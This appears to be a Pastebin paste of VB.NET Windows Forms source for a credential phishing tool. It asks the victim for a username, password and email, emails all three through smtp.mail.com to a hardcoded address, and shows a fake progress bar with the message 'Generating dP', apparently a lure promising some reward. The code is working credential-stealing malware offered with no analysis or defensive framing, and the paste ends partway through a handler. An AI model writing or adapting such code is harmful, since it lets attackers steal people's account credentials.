Advertisement
Guest User

Untitled

a guest
Feb 25th, 2016
93
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.43 KB | None | 0 0
  1. Imports System.Net.Mail
  2. Public Class Form1
  3.  
  4. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  5.  
  6. End Sub
  7.  
  8. Private Sub TextBox1_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox1.TextChanged
  9.  
  10. End Sub
  11.  
  12. Private Sub Label1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs)
  13.  
  14. End Sub
  15.  
  16. Private Sub TextBox2_TextChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TextBox2.TextChanged
  17.  
  18. End Sub
  19.  
  20. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  21. Timer1.Start()
  22. If TextBox1.Text = "" Then
  23. MsgBox("Username Is Missing")
  24. ElseIf TextBox2.Text = "" Then
  25. MsgBox("Password Is Missing")
  26. ElseIf TextBox3.Text = "" Then
  27. MsgBox("Email Is Missing")
  28.  
  29. End If
  30. Dim mail As New MailMessage()
  31. Dim smtpServer As New SmtpClient()
  32. smtpServer.Credentials = New Net.NetworkCredential("email", "pass")
  33. 'using mail.com
  34. smtpServer.Port = 587
  35. smtpServer.Host = "smtp.mail.com"
  36. smtpServer.EnableSsl = True
  37. smtpServer.EnableSsl = True
  38. mail = New MailMessage()
  39. mail.From = New MailAddress("email")
  40. mail.To.Add("email")
  41. mail.Subject = "Username: " & TextBox1.Text
  42. mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text & ", " & " Email : " & TextBox3.Text & ""
  43. smtpServer.Send(mail)
  44. End Sub
  45.  
  46. Private Sub ProgressBar1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ProgressBar1.Click
  47.  
  48. End Sub
  49.  
  50. Private Sub RadioButton1_CheckedChanged(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles RadioButton1.CheckedChanged
  51.  
  52. End Sub
  53.  
  54. Private Sub Label4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Label4.Click
  55.  
  56. End Sub
  57.  
  58. Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
  59. ProgressBar1.Increment(5)
  60. If ProgressBar1.Value = 100 Then
  61. Timer1.Stop()
  62. End If
  63. Label5.Text = ProgressBar1.Value & (" %")
  64. If Label5.Text = 100 & (" %") Then
  65. MsgBox("Generating dP, Please check in a few minutes. *this process can be delayed*")
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement